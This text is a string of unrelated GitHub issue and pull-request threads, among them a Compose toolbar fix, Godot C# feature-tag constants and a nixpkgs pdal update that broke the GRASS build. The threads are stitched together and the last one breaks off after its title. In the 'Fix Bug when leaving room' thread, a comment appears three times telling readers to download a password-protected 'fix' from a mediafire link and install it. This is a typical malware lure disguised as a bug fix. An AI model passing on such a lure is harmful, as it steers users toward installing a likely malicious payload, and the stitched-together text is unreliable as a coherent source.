fix height issue when maxHeight changes while expanded

This PR aims to fix the issue mentioned in issue #100, which I'm also facing in my app.
The logic is to update height when maxHeight changes while the toolbar is fully expanded.

Looks like this PR fixes my issue as well because my toolbar uses dynamic height when calculating statusBarHeight. I hope this gets merged asap!
https://github.com/onebone/compose-collapsing-toolbar/issues/103

@onebone any news to accept this change?

    @Composable
    fun rememberStatusBarHeightDp(): Dp {
        val view = LocalView.current
        val density = LocalDensity.current

        val statusBarHeightPx = remember {
            ViewCompat.getRootWindowInsets(view)
                ?.getInsets(WindowInsetsCompat.Type.statusBars())
                ?.top ?: 0
        }

        return with(density) { statusBarHeightPx.toDp() }
    }

Use this code for top padding


ABI type names should be call paths instead of just strings

E.g.
abi MyContract {
    fn test_function(a: lib1::Foo, b: lib2::Foo) -> bool;
}

To avoid ambiguity, the two Foos need to be differentiated somehow and the only way to do so is by including their paths from the package root in the JSON ABI.

Dup of #450?

Yes. Looks like I created this one and transferred #450 from Sway 🤔 . Will close this one.


Is there is a way to use NoiseSuppressor in Flutter camera plugin to avoid background noise?

Android provides a way to use NoiseSuppressor to avoid background noise. Can this be achieved with the flutter camera API?

This is a question better suited for StackOverflow, since there doesn’t seem to be anything wrong with Flutter itself. Closing, as this is not an issue report. See https://flutter.dev/community for support options.


Bump cargo-leptos to 0.2.1 in Nixpkgs?

https://github.com/NixOS/nixpkgs/tree/nixos-unstable/pkgs/development/tools/rust/cargo-leptos

Created a pull request for this here
https://github.com/NixOS/nixpkgs/pull/265473
@benwis Tagging you since you are the maintainer for this package listed on nixpkgs :)

Now we wait for it to be merged


Japanese version needs to be updated to version 2

Need to check the updated the places
Identify corrections or additions
It seems that the following entry is added.
0. Top Page

The above Image URL

### 18 Lessons teaching everything you need to know to start building Generative AI applications

# Generative AI for Beginners (Version 2) - A Course

| 13 | [Securing Your Generative AI Applications](https://oai.azure.com/portal/e7de87023b2348239a0363cb4aa49f6f/13-securing-ai-applications/README.md?WT.mc_id=academic-105485-koreyst) | Learn: The threats and risks to AI systems and methods to secure these systems. | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |
| 14 | [The Generative AI Application Lifecycle](https://oai.azure.com/portal/e7de87023b2348239a0363cb4aa49f6f/14-the-generative-ai-application-lifecycle/README.md?WT.mc_id=academic-105485-koreyst) | Learn: The tools and metrics to manage the LLM Lifecycle and LLMOps | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |
| 15 | [Retrieval Augmented Generation (RAG) and Vector Databases](https://oai.azure.com/portal/e7de87023b2348239a0363cb4aa49f6f/15-rag-and-vector-databases/README.md?WT.mc_id=academic-105485-koreyst) | Build: An application using a RAG Framework to retrieve embeddings from a Vector Databases | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |
| 16 | [Open Source Models and Hugging Face](https://oai.azure.com/portal/e7de87023b2348239a0363cb4aa49f6f/16-open-source-models/README.md?WT.mc_id=academic-105485-koreyst) | Build: An application using open source models available on Hugging Face | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |
| 17 | [AI Agents](https://oai.azure.com/portal/e7de87023b2348239a0363cb4aa49f6f/17-ai-agents/README.md?WT.mc_id=academic-105485-koreyst) | Build: An application using an AI Agent Framework | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |
| 18 | [Fine-Tuning LLMs](https://oai.azure.com/portal/e7de87023b2348239a0363cb4aa49f6f/18-fine-tuning/README.md?WT.mc_id=academic-105485-koreyst) | Learn: The what, why and how of fine-tuning LLMs | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |

🌟 Special thanks
Special thanks to [**John Aziz**](https://www.linkedin.com/in/john0isaac/) for creating all of the GitHub Actions and workflows

- [**NEW** Cybersecurity for Beginners](https://github.com/microsoft/Security-101??WT.mc_id=academic-96948-sayoung)

13-Securing Your Generative AI Applications
14-The Generative AI Application Lifecycle
15-Retrieval Augmented Generation (RAG) and Vector Databases
16-Open Source Models and Hugging Face
17-AI Agents
18-Fine-Tuning LLMs

Yes @yoshioterada these have been added, thanks for logging this issue.

Seems a lot of demand related to multilingualism. Since this course is about generative AI, why not leverage the capabilities of LLM to implement automatic multilingual support?
I've created an online chat version of this course that supports any conversation, and the content can also be conveniently translated into various languages. Additionally, you can get a virtual teacher who can supplement the lesson with real-time knowledge and is capable of voice chatting. I am looking for official support.

@yoshioterada I don't understand Japanese, so I can't judge the content translated by the LLM. Based on my feelings about the Chinese translation from LLM, I find that about 90% of the content is acceptable, while the other 10% feels a bit too archaic, not like the terms modern people would use, but the meaning is correct.
I think maybe by adjusting the prompt, we can make its translation closer to real life. After all, manual translation requires a lot of time, and even after LLM's translation, manual review still takes up considerable effort.
For me, as long as the professional technical vocabulary is translated correctly, some minor grammatical issues are unimportant.
Finally thank you for the time dedicated to open source.

@yoshioterada 跟进一下，我已经在自己的网站上发布了这项课程的多语言版本，如果你有时间能否帮我看看日文翻译的质量
https://codekidz.ai/lesson-intro/generative-a-362093
可以通过底部的多语言菜单进行切换


[Draft] Unnormalized global plot

Types of changes

[ ] Docs change / refactoring / dependency upgrade
[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Motivation and Context / Related issue
There are test cases for which averaging is pointless: for example, adversarial images.
How Has This Been Tested (if it applies)

Checklist

[x] The documentation is up-to-date with the changes I made.
[x] I have read the CONTRIBUTING document and completed the CLA (see CLA).
[x] All tests passed, and additional code has been covered with new tests.

Deprecated.


Install a specific package to Code Execution

I want to add openpyxl to the installed packaged ( it is not by default).
I added this to /ces_container/Dockerfile
Copy the requrements file
COPY requirements.txt .
RUN pip install --no-cache-dir --no-warn-script-location -r requirements.txt
TODO: Install additional packages for plugins
RUN pip install --no-cache-dir --no-warn-script-location --user openpyxl
for good measure, I added openpyxl to requirements.txt too.
when I run ./build_executor, It creates a docker image that contains openpyxl. All good.
When I enter a prompt that executes code, TW finds that the image installed is not right, so I pulls :latest from docker.io.
Can someone offer some guidance?

Thanks for raising this issue. The current behavior is TW always downloads the :last image from docker.io. A next PR is planned to fix this issue.


Repo root tool.pyproject-fmt not applying to sub-pyproject.toml

With pyproject-fmt==2.1.4, in a pyproject.toml in my repo root, I configured the following:
[tool.pyproject-fmt]
indent = 4

However this setting does not propagate to pyproject.toml in subfolders of the repo root. For example, a TOML list in subfolder/pyproject.toml is getting 2-space indents.
The request here is to have settings configured the root folder's pyproject.toml apply to subfolders.

There is no inheritance of the configuration. Every file has the configuration applied only for itself.


KEP-420 Allow partial admission

What type of PR is this?
/kind documentation

What this PR does / why we need it:
KEP-420 Allow partial admission
Which issue(s) this PR fixes:

Fixes #420
Special notes for your reviewer:
Does this PR introduce a user-facing change?

NONE

/cc @alculquicondor

/cc @mwielgus

The only outstanding question is whether we want to allow more than one PodSet to have partial admission.
JobSet and RayJob might benefit from such behavior, although it's unclear what should be the desired policy to avoid an exhaustive search.
Let's proceed with this for now and we can revisit during implementation.
/lgtm
/approve

Given the uncertainty regarding resizing multiple podsets, I propose we launch this as an alpha feature https://github.com/kubernetes-sigs/kueue/pull/771#issuecomment-1564784731
In that sense, please update the kep.yaml file to reflect the stage and feature gate name to use.

Given the uncertainty regarding resizing multiple podsets, I propose we launch this as an alpha feature #771 (comment)
In that sense, please update the kep.yaml file to reflect the stage and feature gate name to use.

done in #771


Fix Bug when leaving room

Takes to not found page or player has left room, instead of home page

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


document images

https://github.com/tomoemon/emiel/assets/1381362/595f67f1-b3c5-4597-b8d7-d6778389233b

https://github.com/tomoemon/emiel/assets/1381362/4aeff849-a4f0-4a4e-8834-d9d1405f6a56

https://github.com/tomoemon/emiel/assets/1381362/51e1ea22-554b-4a9d-b2a2-4e07cd0291c3

https://github.com/tomoemon/emiel/assets/1381362/f8816e36-b67f-4a0d-8e69-cb96137a681b

https://github.com/tomoemon/emiel/assets/1381362/505b5c99-8da4-4219-9ba0-a8edcdb7a98a


Added separation between avoid and recommended code for resolving-pro…

…mises section
Change: ``` and ```javascript were missing between the /* avoid / and / recommended */ code sections in the Resolving Promises section.

thanks


From Genesis to Provisioning?

Would you mind documenting or at least giving a hint on how you go from Genesis (and intake/burn in) to provisioning a host? If PXE boot is pointed at Genesis, I don't see how you can provision a host with kickstart for instance. Are you doing something within Genesis to do this process?

I'll add some documentation later (busy with high priority project right now)...
The short answer is: we generate a custom iPXE menu when a machine netboots[1].  That code looks at the state[2] of the provisioning, kept in collins[3], and tells the node to either run genesis with a particular target mode, run kickstart, or boot off the disk.  The kickstart file is also dynamically generated based on the intended use of the machine and its hardware.
[1] the dhcp server always loads undionly.kpxe, then it does a http request to get the menu
[2] we have code in Genesis to update this state
[3] collins is our inventory and cmdb system
Unfortunately the dynamic menu and kickstart generator is not open sourced (yet), but I'm pretty sure that there are similar open sourced projects or a simple template expander http server can replace it.
I hope this answered your question.  If not, ask away.
Roy

Hey Roy,
That helps greatly. One last question, how are you doing the http request from DHCP? Is there a script option I am not aware of or did you bake that into the undionly.kpxe image? Basically I don't need the code to generate the menu or the kickstart, we already do that. I just need to know how to kick off that process when a machine is requesting the menu. Thanks again for your help!

here is a sanitized version of what we put into the dhcpd.conf file
subnet <IP_ADDRESS> netmask <IP_ADDRESS> {
option domain-name         "example.com";
option routers             <IP_ADDRESS>;
option domain-name-servers <IP_ADDRESS>;
option subnet-mask         <IP_ADDRESS>;
range                      <IP_ADDRESS> <IP_ADDRESS>;
# If a request comes in from ipxe send the Phil url
if exists user-class and option user-class = "iPXE" {
    filename "http://phil.example.com:8080/ipxe/${net0/mac}";
# Otherwise send the ipxe image
} else {
    next-server <IP_ADDRESS>;
    filename "/ipxe/undionly.kpxe";
}

}
There is not much magic there.
Roy
On Fri, Sep 11, 2015 at 10:48 AM, ipstatic<EMAIL_ADDRESS>wrote:

Hey Roy,
That helps greatly. One last question, how are you doing the http request
from DHCP? Is there a script option I am not aware of or did you bake that
into the undionly.kpxe image? Basically I don't need the code to generate
the menu or the kickstart, we already do that. I just need to know how to
kick off that process when a machine is requesting the menu. Thanks again
for your help!
—
Reply to this email directly or view it on GitHub
https://github.com/tumblr/genesis/issues/42#issuecomment-139565348.

Ah! My own ignorance of iPXE and PXE is showing. I have used the filename directive before but didn't realize it could be used for the menu. Thanks again for all your help. Looking forward to Phil being open sourced in the future.


Integration tests for short-circuit response

Type of change

Enhancement / new feature

Description
Adding tests cases that cover synchronous/asynchronous short circuit responses, with and without connection close.
Why: There's some tricky coding around the handling of deferred responses.  Let's improve test coverage to build confidence that everything is working and stays that way.
Additional Context
To test this, I need to the ability for the mock client to sense whether its channel had been closed on not. This necessitated a refactoring of the mock client so that it allows longer conversations so that observations of the channel's connected state could be made, or even await a state change.
I took a different approach to that of https://github.com/kroxylicious/kroxylicious/pull/507 in that I have a multiRequestClient which allows > 1 calls to requestClient.getSync.   I think this might be more useful, especially when testing filters that have state.
Checklist
Please go through this checklist and make sure all applicable tasks have been done

[ ] Write tests
[ ] Make sure all tests pass
[ ] Review performance test results. Ensure that any degradations to performance numbers are understood and justified.
[ ] Make sure all Sonar-Lint warnings are addressed or are justifiably ignored.
[ ] Update documentation
[ ] Reference relevant issue(s) and close them after merging
[ ] For user facing changes, update CHANGELOG.md (remember to include changes affecting the API of the test artefacts too).

Is there any value in keeping the one-shot mode? Maybe instead of having these modes it should only offer the long-lived channel, maybe with a closeConnection() type method on the client if a test wanted to re-connect.
Also we should decide on how to approach https://github.com/kroxylicious/kroxylicious/issues/526, I think the KroxyliciousTester should be responsible for redundantly closing any clients it has created, but this has the complication outlined in the issue.

Would have been nice to separate the test changes from the client refactoring.

I'm sorry if that's made the review harder.  I grew the changes to the test framework with the test itself.  This was partly expediency and partly just unfamiliarity with the implementation of the mock framework.
This PR didn't quite cross the line where I split a PR into two and park the first behind the second.

I'm with @robobario I'm not sure about the merits of a single request vs multi request client but this feels like progress and satisfies a use case.

I ditched the single request case.

For me the singleRequest client shouldn't need to be closed it should just disconnect and clean up but thats not really in scope here. I don't think.


Centos7: no init file

Centos file uses systemd so there's no initfile: /etc/init.d/postfix.
Suggestion:
Substitude "/etc/init.d/postfix reload" for LSB's "service postfix reload" in service.pp (or even "service postfix restart" see #81.

See #78

Fixed by #78


Some proposed additions to the release process docs

Separate PR process instructions from actual release process.
Document some technical details about how release stage works behind the scenes.
Add documentation about running linters.

Just my thoughts, edits warmly welcomed!

Huh for some reason the git diff algorithm thinks a ton was changed just from the numeric list ordering changes at each paragraph. :-/. The edits were fairly minor outside of the list separation and adding two new paras.


Re-add project features as define constants in C#

Adds the project feature tags as C# define constants.
This includes custom features, support for this was added in #28786 but got removed in #40595 and #41408 on the move to Godot.NET.Sdk.

For a project exported with this configuration:

The C# project will have the following constants defined:

GODOT_FEATURE_64
GODOT_FEATURE_X11
GODOT_FEATURE_MY_GREAT_FEATURE
GODOT_FEATURE_PC
GODOT_FEATURE_S3TC

Then in the code you can use it like so:
#if GODOT_FEATURE_MY_GREAT_FEATURE
	GD.Print("my_great_feature supported");
#endif

Fixes https://github.com/godotengine/godot/issues/73852

The reason for the removal of the engine feature constants is as I commented in #40595:

Godot defines a list of constants for conditional compilation. When exporting games, this list also included engine 'features' and platform 'bits'. There were a few problems with that:

The 'features' constants were only defined when exporting games. Not when building the game for running in the editor player.

If the project was built externally by an IDE, the constants wouldn't be defined at all.

The new Sdk assigns default values to these constants when not built from the Godot editor, i.e.: when built from an IDE or from the command line. The default define constants are determined from the system MSBuild is running on.
However, it's not possible for MSBuild to determine the set of supported engine features. It's also not possible to determine if a project is being built to run on a 32-bit or 64-bit Godot executable.
As such the 'features' and 'bits' constants had to be removed. The benefit of checking those at compile time was questionable, and they can still be checked at runtime.

These problems are still present in this new PR and I don't think there's a way to solve them hence why I removed them.

The 'features' constants were only defined when exporting games. Not when building the game for running in the editor player.

Yeah, but that's how it works in GDScript too. The features are only true when exporting.

If the project was built externally by an IDE, the constants wouldn't be defined at all.

Most IDEs should allow you to specify your own arguments for the build command so you could add the constants there the same way this PR adds them to the msbuild command.
msbuild /p:GodotFeatures=GODOT_FEATURE_EXAMPLE

Or you could temporarily add it to the .csproj:
<GodotFeatures>GODOT_FEATURE_EXAMPLE</GodotFeatures>

These problems are still present in this new PR and I don't think there's a way to solve them hence why I removed them.

I agree, I don't think there's a way to solve it but I don't think it needs to be solved. We could consider this an advanced feature, most people can use runtime checks, but for users that know how this works they can take advantage of it so I think it's still worth having even with those limitations.
One example I just thought of that having these constants defined allows would be including a nuget package conditionally like so:
<Project Sdk="Godot.NET.Sdk/3.4.0">
  <PropertyGroup>
    <TargetFramework>netstandard2.1</TargetFramework>
  </PropertyGroup>
  <ItemGroup Condition=" $(GodotFeatures.Contains('GODOT_FEATURE_THAT_USES_JSON')) ">
    <PackageReference Include="System.Text.Json" Version="5.0.0" />
  </ItemGroup>
</Project>

@neikeq Would be nice to have this reviewed :) (also the 3.x counterpart)

I recently added the ability to generate a C# API for my GDExtension library, and since it is intended for debugging, I would not like it to work in the release build. But some users would like to have debug rendering in the release build as well. To do this, I use the feature tag, which is currently not taken into account by the C# build system.
Therefore, users will have to manually add the preprocessor flag.
Will this PR be merged?

@DimitriPilot3 You should be able to use the same API that is available in GDScript to check if a feature tag is enabled: OS.HasFeature("forced_dd3d"). So you could do something like this:
bool isDebug =
#if DEBUG
	true;
#else
	false;
#endif

if (isDebug || OS.HasFeature("forced_dd3d"))
{
	// Use the normal library.
}
else
{
	// Use the dummy library.
}

@ DimitriPilot3

wrong mention
I would like users to lose as little performance as possible from calling such methods. Because this API allows users not to delete debugging methods, both in GDScript and in C#.
    public static void DrawSphereXf(Transform3D transform, Color? color = null, float duration = 0f)
    {
#if DEBUG || FORCED_DD3D
        Instance?.Call(__draw_sphere_xf, transform, color ?? _DebugDrawUtils_.DefaultArgumentsData.arg_0, duration);
#endif
    }

    public static void DrawSphereHd(Vector3 position, float radius = 0.5f, Color? color = null, float duration = 0f)
    {
#if DEBUG || FORCED_DD3D
        Instance?.Call(__draw_sphere_hd, position, radius, color ?? _DebugDrawUtils_.DefaultArgumentsData.arg_0, duration);
#endif
    }

wrong mention

Sorry about that.

I would like users to lose as little performance as possible from calling such methods.

I'm not sure the performance cost is significant enough to be noticeable,  but I haven't benchmarked it. The biggest cost is probably the interop call to OS.HasFeature, but you should also be able to cache the returned value since I don't think features can change during runtime.
	private bool _isDebug =
#if DEBUG
		true;
#else
		false;
#endif

	private bool? _cachedForcedDD3D;
	private bool ForcedDD3D => _cachedForcedDD3D ??= OS.HasFeature("forced_dd3d");

	public static void DrawSphereXf(Transform3D transform, Color? color = null, float duration = 0f)
	{
		if (_isDebug || ForcedDD3D)
		{
			Instance?.Call(__draw_sphere_xf, transform, color ?? _DebugDrawUtils_.DefaultArgumentsData.arg_0, duration);
		}
	}

I do think having the feature tags as define constants in C# would be nice, and that's why I created this PR. I can't guarantee that this PR will ever get merged, so in the meantime, I hope this workaround can be useful to you.

@raulsntos / @neikeq  - Does something additional happen to be injected/build into the pipeline when exporting in Godot that would affect the produced project.dll files?
In my limited testing it seems that replacing the generated dll's with whatever i can produce with msbuild on my own works fine - but I don't know if additional stuff is added that would mean it mean that it now breaks on different platforms/machines.
I guess, if it's the case that supplanting .dll's is safe, then it's a sort of workaround (not completely ofc), even if it's slightly awkward to do.


pdal: 2.4.3 -> 2.5.3

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/PDAL/PDAL/releases.
meta.description for pdal is: PDAL is Point Data Abstraction Library. GDAL for point cloud data
meta.homepage for pdal is: https://pdal.io
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.5.1 with grep in /nix/store/wcawlx3mf1zpvq1425s1r4vl7hnwn64g-pdal-2.5.1
found 2.5.1 in filename of file in /nix/store/wcawlx3mf1zpvq1425s1r4vl7hnwn64g-pdal-2.5.1

Rebuild report (if merged into master) (click to expand)

6 total rebuild path(s)

6 package rebuild(s)

First fifty rebuilds by attrpath
cloudcompare
entwine
grass
pdal
qgis
qgis-ltr

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/wcawlx3mf1zpvq1425s1r4vl7hnwn64g-pdal-2.5.1 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A pdal https://github.com/r-ryantm/nixpkgs/archive/1c7bcfd71ef8f8418a565d14b68d36653c6a7969.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/wcawlx3mf1zpvq1425s1r4vl7hnwn64g-pdal-2.5.1
ls -la /nix/store/wcawlx3mf1zpvq1425s1r4vl7hnwn64g-pdal-2.5.1/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

4 packages failed to build:

entwine
grass
qgis
qgis-ltr

2 packages built:

cloudcompare
pdal

Maintainer pings
cc @nh2 for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/pdal/versions.
meta.description for pdal is: PDAL is Point Data Abstraction Library. GDAL for point cloud data
meta.homepage for pdal is: https://pdal.io
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.5.2 with grep in /nix/store/8d7ri85m5v6sr6jjpg4alqaybg4gj8as-pdal-2.5.2
found 2.5.2 in filename of file in /nix/store/8d7ri85m5v6sr6jjpg4alqaybg4gj8as-pdal-2.5.2

Rebuild report (if merged into master) (click to expand)

6 total rebuild path(s)

6 package rebuild(s)

First fifty rebuilds by attrpath
cloudcompare
entwine
grass
pdal
qgis
qgis-ltr

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/8d7ri85m5v6sr6jjpg4alqaybg4gj8as-pdal-2.5.2 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A pdal https://github.com/r-ryantm/nixpkgs/archive/b8d33da08a61594499d361364605a399a5b46d3c.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/8d7ri85m5v6sr6jjpg4alqaybg4gj8as-pdal-2.5.2
ls -la /nix/store/8d7ri85m5v6sr6jjpg4alqaybg4gj8as-pdal-2.5.2/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
nixpkgs-review took longer than 45m and timed out

Maintainer pings
cc @nh2 for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/PDAL/PDAL/releases.
meta.description for pdal is: PDAL is Point Data Abstraction Library. GDAL for point cloud data
meta.homepage for pdal is: https://pdal.io
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.5.3 with grep in /nix/store/g3zba82780xvn9qyipzb62wfrj4zdmap-pdal-2.5.3
found 2.5.3 in filename of file in /nix/store/g3zba82780xvn9qyipzb62wfrj4zdmap-pdal-2.5.3

Rebuild report (if merged into master) (click to expand)

6 total rebuild path(s)

6 package rebuild(s)

First fifty rebuilds by attrpath
cloudcompare
entwine
grass
pdal
qgis
qgis-ltr

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/g3zba82780xvn9qyipzb62wfrj4zdmap-pdal-2.5.3 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A pdal https://github.com/r-ryantm/nixpkgs/archive/cfae8abfc0b06ac792b06171365b0e42fb474485.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/g3zba82780xvn9qyipzb62wfrj4zdmap-pdal-2.5.3
ls -la /nix/store/g3zba82780xvn9qyipzb62wfrj4zdmap-pdal-2.5.3/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
nixpkgs-review took longer than 45m and timed out

Maintainer pings
cc @nh2 for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/PDAL/PDAL/releases.
meta.description for pdal is: PDAL is Point Data Abstraction Library. GDAL for point cloud data
meta.homepage for pdal is: https://pdal.io
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.5.4 with grep in /nix/store/fj6h86v9jb123frf9513x7nhz8bv2s63-pdal-2.5.4
found 2.5.4 in filename of file in /nix/store/fj6h86v9jb123frf9513x7nhz8bv2s63-pdal-2.5.4

Rebuild report (if merged into master) (click to expand)

6 total rebuild path(s)

6 package rebuild(s)

First fifty rebuilds by attrpath
cloudcompare
entwine
grass
pdal
qgis
qgis-ltr

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/fj6h86v9jb123frf9513x7nhz8bv2s63-pdal-2.5.4 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A pdal https://github.com/r-ryantm/nixpkgs/archive/06161f191dfe17c01bdb68cbaa688700aac29528.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/fj6h86v9jb123frf9513x7nhz8bv2s63-pdal-2.5.4
ls -la /nix/store/fj6h86v9jb123frf9513x7nhz8bv2s63-pdal-2.5.4/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

4 packages failed to build:

entwine
grass
qgis
qgis-ltr

2 packages built:

cloudcompare
pdal

Maintainer pings
cc @nh2 for testing.

@nh2 , this PR breaks GRASS which breaks QGIS which is very important geospatial software. Please consider reverting this change. I reported the same breakage in https://github.com/NixOS/nixpkgs/pull/210588

GRASS fails on following error:
checking whether to use GDAL... yes
checking for gdal-config... /nix/store/76bsjqgp27k2ymma426snwqa82ip56q5-gdal-3.6.4/bin/gdal-config
checking whether to use libLAS... no
checking whether to use PDAL... yes
checking for pdal-config... /nix/store/fzkglyvnwwyw239jmzwk3sgi2avzpl7a-pdal-2.5.4/bin/pdal-config
checking whether we are using the GNU C++ compiler... yes
checking whether g++ accepts -g... yes
configure: error: *** Unable to locate suitable (>=1.7.1) PDAL library.
error: builder for '/nix/store/j7r3773a6x8ppls28g9mia9n1d1jv86c-grass-8.2.1.drv' failed with exit code 1;
       last 10 log lines:
       > checking for readline in -lreadline... yes
       > checking for add_history in -lhistory... yes
       > checking whether to use GDAL... yes
       > checking for gdal-config... /nix/store/76bsjqgp27k2ymma426snwqa82ip56q5-gdal-3.6.4/bin/gdal-config
       > checking whether to use libLAS... no
       > checking whether to use PDAL... yes
       > checking for pdal-config... /nix/store/fzkglyvnwwyw239jmzwk3sgi2avzpl7a-pdal-2.5.4/bin/pdal-config
       > checking whether we are using the GNU C++ compiler... yes
       > checking whether g++ accepts -g... yes
       > configure: error: *** Unable to locate suitable (>=1.7.1) PDAL library.
       For full logs, run 'nix log /nix/store/j7r3773a6x8ppls28g9mia9n1d1jv86c-grass-8.2.1.drv'.

Actually, I tried to build GRASS in revision before this PR was merged and I've got the same error. So GRASS must be broken for longer time now.

@imincik I cannot confirm that: My check suggests this PR indeed broke it. It passes on commit 06161f191dfe~ where commit 06161f191dfe is the one merged by this PR.
In any case, on commit 06161f191dfe (which has this PR merged), I do not get your error shown in your comment above (https://github.com/NixOS/nixpkgs/pull/215960#issuecomment-1568534590), probably because you already tried with grass 8.2.1 instead of 8.2.0; for me it goes on fine with
checking whether to use PDAL... yes
checking for pdal-config... /nix/store/fzkglyvnwwyw239jmzwk3sgi2avzpl7a-pdal-2.5.4/bin/pdal-config
checking whether we are using the GNU C++ compiler... yes
checking whether g++ accepts -g... yes
checking whether to use NetCDF... yes

then completes configure printing   PDAL support:               yes and fails later with:
Errors in:
/build/source/raster/r.in.pdal

The Unable to locate suitable (>=1.7.1) PDAL library you link looks a bit like https://github.com/OSGeo/grass/pull/2851#issuecomment-1444484884.

Some other things I don't understand is grass's current code
  nativeBuildInputs = [
    pkg-config bison flex makeWrapper wrapGAppsHook
    gdal geos libmysqlclient netcdf pdal
  ] ++ (with python3Packages; [ python-dateutil numpy wxPython_4_2 ]);

Why is e.g. pdal in this list of build-only dependency? It looks like a normal dependency, thus a runtime dependency that needs to be in buildInputs.
Investigating a bit more:
I updated to grass 8.2.1 as you did (build failure) and then cherry-picked manually https://github.com/OSGeo/grass/pull/2851 which uses pkg-config.
Then pkg-config failed to find pdal.
Indeed putting preConfigure = ''pkg-config --list-all ; exit 1''; shows that it isn't in the list.
I moved it from nativeBuildInputs to buildInputs, then it is found.
Then I switched back to unpatched grass 8.2.1, and kept pdal in buildInputs. Now it complains configure: error: *** could not find pdal-config.
From this I determined that pdal needs to be in both nativeBuildInputs (for pdal-config) and buildInputs (because it's a runtime dependency).
Once the next version of grass is released, we should be able to remove it from nativeBuildInputs because then pdal-config is no longer used.
I will make a according PR.

PR at #235043

@nh2 , huge thanks for debugging the problem and sorry for little confusing comments. I think I agree with all your findings. You really made my day much nicer. I am going to review and test GRASS PR now. Thank you !


Issue regarding verification : Off chain verification

